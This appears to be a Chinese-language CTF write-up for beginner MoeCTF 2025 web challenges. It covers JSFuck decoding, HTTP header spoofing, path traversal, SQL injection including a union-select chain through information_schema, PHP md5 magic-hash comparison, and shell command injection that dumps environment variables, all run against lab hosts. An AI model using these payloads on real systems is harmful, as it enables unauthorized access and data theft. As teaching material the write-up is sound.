好玩,真好玩!
00. Web入门指北
[!NOTE]
JSFuck 编码
JSFuck 是一种基于 JavaScript 的编程风格,它使用六个字符 {}, [], +, ! 来编写和执行代码。这种编码方式不依赖于浏览器,因此可以在 Node.js 上运行。JSFuck 的原理是利用 JavaScript 中的类型转换和对象属性访问机制来构造任何 JavaScript 代码。
JSFuck 编码的基础原理
JSFuck 利用 JavaScript 的弱类型和类型转换规则,通过一系列的逻辑运算和函数调用来表示 JavaScript 中的基本值和对象。
例如,false 可以通过 ![] 表示,因为非运算符会将空数组的布尔值取反。
类似地,true 可以通过 !![] 表示,undefined 通过 [][[]] 表示,NaN 通过 + [![]] 表示,数字 0 通过 +[] 表示,数字 1 通过 +!+[] 表示。
JSFuck 编码的应用
JSFuck 可以用来混淆代码,使其难以阅读和理解。这种编码方式常用于防止代码被屏蔽或是作为一种编程挑战。例如,alert(1) 可以被编码为一长串只包含 {}, [], +, ! 的代码,执行结果仍然是弹出一个包含数字 1 的警告框。
JSFuck 解码方法
解码 JSFuck 编码的代码通常有两种方法:
-
使用浏览器的控制台直接执行 JSFuck 编码的代码,浏览器会自动解释执行并返回结果。
-
使用在线工具进行解码,将 JSFuck 编码的代码转换回原始的 JavaScript 代码。
打开附件moectf2025_web_signin.txt,其实要干什么也很明显了:把代码复制到控制台里面。
得到:
moectf{jv@vScr1p7_14_so0o0o0o_inT3r3&t!!!}
01. 神秘的手镯
这些都属于 前端校验(Client-side validation)
- 页面用 JS 禁止粘贴(
onpaste = return false) - 或监听
Ctrl+V - 或限制输入长度 / 输入方式
[!CAUTION]
前端限制 ≠ 后端限制( 前端是可以完全绕过的)
可以:
- 直接用控制台注入
- BP抓包改请求
moectf{f_i2_1s_Your_g00d_fri3nd!!}
02. 初识金曦玄轨
进入关卡,抓包,查看响应,有这么一个提醒:
前往/golden_trail看看
修改请求行:GET /golden_trail HTTP/1.1
查看响应:
HTTP/1.0 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 79
X-Jinxi-Secret: moectf{0bs3rv3_Th3_Gold3n_traiL}
Server: Werkzeug/2.0.1 Python/3.9.23
Date: Mon, 06 Apr 2026 06:14:56 GMT
========================
路径不正,难窥天道
========================
moectf{0bs3rv3_Th3_Gold3n_traiL}
03. 问剑石!篡天改命!
点击”测试天赋“,抓包:
按照要求修改请求 修改玄轨中的关键参数,使问剑石显现天赋:S,光芒:流云状青芒(flowing_azure_clouds)的异象
POST /test_talent?level=S HTTP/1.1 修改这里
Host: localhost:21870
Content-Length: 24
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: http://localhost:21870
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:21870/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"manifestation":"flowing_azure_clouds"} 还有这里
查看响应:
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 203
Server: Werkzeug/2.0.1 Python/3.9.23
Date: Mon, 06 Apr 2026 04:49:34 GMT
{"flag":"moectf{GeT_POst-Tran5m1s51ON_IS_4-G0oD-MethoD1!11bd}","result":"\u5929\u8d4b\uff1aS\uff0c\u5149\u8292\uff1a\u6d41\u4e91\u72b6\u9752\u8292","status":"\u5929\u9053\u7be1\u6539\u6210\u529f\uff01"}
moectf{GeT_POst-Tran5m1s51ON_IS_4-G0oD-MethoD1!11bd}
04. 金曦破禁与七绝傀儡阵
嗯,这个解释我很喜欢:
-
真言起手式(Request Line): 此乃真言核心,指明‘所求为何’(请求方法 GET/POST/PUT/DELETE 等)与‘所求之地’(目标路径 /path)。如同剑诀起手,定下招式根本。
-
真言敕令(Headers):
此乃附加敕令,蕴含诸多关键信息,修饰、约束、指引真言本身。如同剑招变化,蕴含力道、角度、属性。敕令繁多,然核心不过数种:
- ‘源起之域’(Host): 指明真言源自何方,欲达何处。
- ‘本我溯源’(X-Forwarded-For): 可伪装真言源头,如同匿踪潜行。
- ‘器灵之证’(User-Agent): 标识发出真言之‘器’(浏览器/工具),不同器灵或受不同对待。
- ‘心印之痕’(Cookie): 如同身份令牌,承载过往交互印记,可窃之而冒他人之名。
- ‘前尘引路’(Referer): 指明真言因何缘起,从何处流转而来。
-
真言本意(Body): 此乃真言承载的‘实质内容’,可繁可简,可明可晦。如同剑气所蕴之杀意或生机。其传递方式亦有讲究,需以特定‘符印’(Content-Type)标明其形态(如纯文本、符箓密文/json、万物图录/form-data等),若形态不符,恐遭法则反噬。传递之法,或显露于外(GET 参数于路径后),或深藏于内(POST/PUT 等藏于真言本意之中)。若真言本意蕴含特殊字符(如中文、空格),更需以‘转生符’(URL编码)化之,方能畅通无阻。”
GET 请求
GET /stone_golem?key=xdsec HTTP/1.1 # 请求路径,请求 stone_golem 接口,并传入参数 key=xdsec
获得玉简碎片: bW9lY3Rme0Mw
POST 请求
POST /cloud_weaver HTTP/1.1
Content-Type: application/x-www-form-urlencoded # 表示提交的数据是表单格式
Content-Length: 0 # 请求体长度(这里简写0其实不太合理,但是无所谓)
declaration=织云阁=第一 # POST 请求体内容(参数 declaration)
获得玉简碎片: bjZyNDd1MTQ3
X-Forwarded-For 伪造 IP
X-Forwarded-For: 127.0.0.1 # 伪造客户端IP为本地(常用于绕过IP限制/白名单
获得玉简碎片: MTBuNV95MHVy
User-Agent 伪造
User-Agent: moe browser # 修改客户端标识(浏览器/工具类型)
获得玉简碎片: X2g3N1BfbDN2
Cookie 伪造
Cookie: user=xt # 携带 Cookie,伪造用户身份(user=xt)
获得玉简碎片: M2xfMTVfcjM0
Referer 伪造
Referer: http://panshi/entry # 表示请求来源页面(从哪里跳转过来)
注意,前面的UA和Cookie也还要哦。
获得玉简碎片: bGx5X2gxOWgh
PUT 请求
PUT /void_rebirth HTTP/1.1 # 使用 PUT 方法请求 /void_rebirth 接口(常见于 REST API)
Host: localhost:30324 # 目标主机和端口
Content-Type: text/plain # 请求体是纯文本格式
Content-Length: 9 # 请求体长度(字节数)
新生! # 请求体内容(实际提交的数据)
获得玉简碎片: fQ==
Base64解码
bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==
把碎片拼接,然后进行Base64解码(通过‘==’,就基本可以判断是Base64编码了):
moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}
05. 打上门来!
[!IMPORTANT]
目录穿越(Path Traversal)
../表示:返回上一级目录
../../表示:一直往上跳目录(逃离当前目录限制)
CTF中,flag为常见的访问目标文件。
../../flag
moectf{@1I-InpuT_IS-m@liCIOus10a0d897}
06. 藏经禁制?玄机初探!
SQL注入的经典语句:
' or '1'='1'--+ 不行
' or '1'='1'-- - 可以(说明 + 没有被解析成 空格。)
' or '1'='1'# 可以
moectf{W3IcoME-TO-sQ1-INJ3ctlONl!8f665ef}
07. 灵蛛探穴与阴阳双生符
[!IMPORTANT]
robots.txt
一个放在网站根目录下的纯文本文件,用于告诉搜索引擎爬虫(如 Google、Bing):
- 哪些页面允许抓取
- 哪些页面禁止抓取
📂 访问方式
一般直接访问:
http://example.com/robots.txt📄 示例内容
User-agent: * Disallow: /admin/ Disallow: /backup/ Allow: /public/👉 含义:
User-agent: *→ 所有爬虫Disallow→ 不允许访问Allow→ 允许访问
GET /robots.txt HTTP/1.1 #请求行
响应:
User-agent: *
Disallow: /flag.php
GET /flag.php HTTP/1.1 #请求行
响应:
<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');
$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";
if($a == $b){
die("error 1");
}
if(md5($a) != md5($b)){
die("error 2");
}
echo $flag; error 1
通过分析可得,我们要传入两个参数 a,b,要求值不相同,但是在弱比较下 md5值要相同。这里就是利用了弱比较 ==,如果是 强比较===就行不通了。
[!IMPORTANT]
md5
这里给出一些例子
QNKCDZO --> 0e830400451993494058024219903391
s878926199a --> 0e545993274517709034328855841020
s155964671a --> 0e342768416822451524974117254469
s214587387a --> 0e848240448830537924465865611904
s1091221200a --> 0e940624217856561557816327384675
s1885207154a --> 0e509367213418206700842008763514
构造:
http://localhost:25816/flag.php?a=QNKCDZO&b=s878926199a
页面:
<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');
$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";
if($a == $b){
die("error 1");
}
if(md5($a) != md5($b)){
die("error 2");
}
echo $flag; moectf{MdS_15-nOT_SAfe!!1d5dd7adf92}
moectf{MdS_15-nOT_SAfe!!1d5dd7adf92}
08. 天衍真言,星图显圣
[!NOTE]
联合查询
经过尝试,发现列数为 2 的时候不报错。
admin' union select 1,2#
//回显admin,那么就是存在这么一个用户,但是,为了后面查询的数据能后回显,要换成不存在的用户,那就换成 1 吧
1' UNION SELECT 2,3 #
// 回显 Welcome 2
1' union select table_name,3 from information_schema.tables where table_schema=database() #
// 回显 Welcome flag
1' union select column_name,3 from information_schema.columns where table_name='flag' #
// 回显 Welcome value
1' union select value,3 from flag #
// 回显 Welcome moectf{uN1on-b4SED_sQ1I_FtWll193f01a42}
09. 星墟禁制·天机问路
看到这里,我首先想到的是之前在DVWA里面做的题目。
所以就先尝试能不能执行命令:
127.0.0.1||whoami
发现回显 root,说明可以执行
[!TIP]
env命令查看当前进程的所有环境变量(系统配置 + 用户信息 + 可能的敏感数据)
env 是“程序运行时带的配置”,开发者可能把敏感信息放进去;在安全场景中主要用来获取用户信息、路径信息以及可能泄露的敏感数据(如 flag、密码等)
127.0.0.1||env
[!TIP]
命令执行
;: 不管前面成不成功,都执行后面
||: 只有前面失败,才执行后面
当然,不一定要 127.0.0.1,就算 1也可以; ||也可以换成 ;。
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.43.0.1:443
HOSTNAME=ret2shell-912-17178-1775464994
PHP_INI_DIR=/usr/local/etc/php
SHLVL=2
HOME=/root
PHP_LDFLAGS=-Wl,-O1 -pie
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.2.29
GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_ASC_URL=https://www.php.net/distributions/php-8.2.29.tar.xz.asc
PHP_URL=https://www.php.net/distributions/php-8.2.29.tar.xz
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
PHPIZE_DEPS=autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c
KUBERNETES_SERVICE_HOST=10.43.0.1
PWD=/app
PHP_SHA256=475f991afd2d5b901fb410be407d929bc00c46285d3f439a02c59e8b6fe3589c
FLAG=moectf{db771482-84c0-2d76-fa7f-f5c2657ee878}
发现:
moectf{db771482-84c0-2d76-fa7f-f5c2657ee878}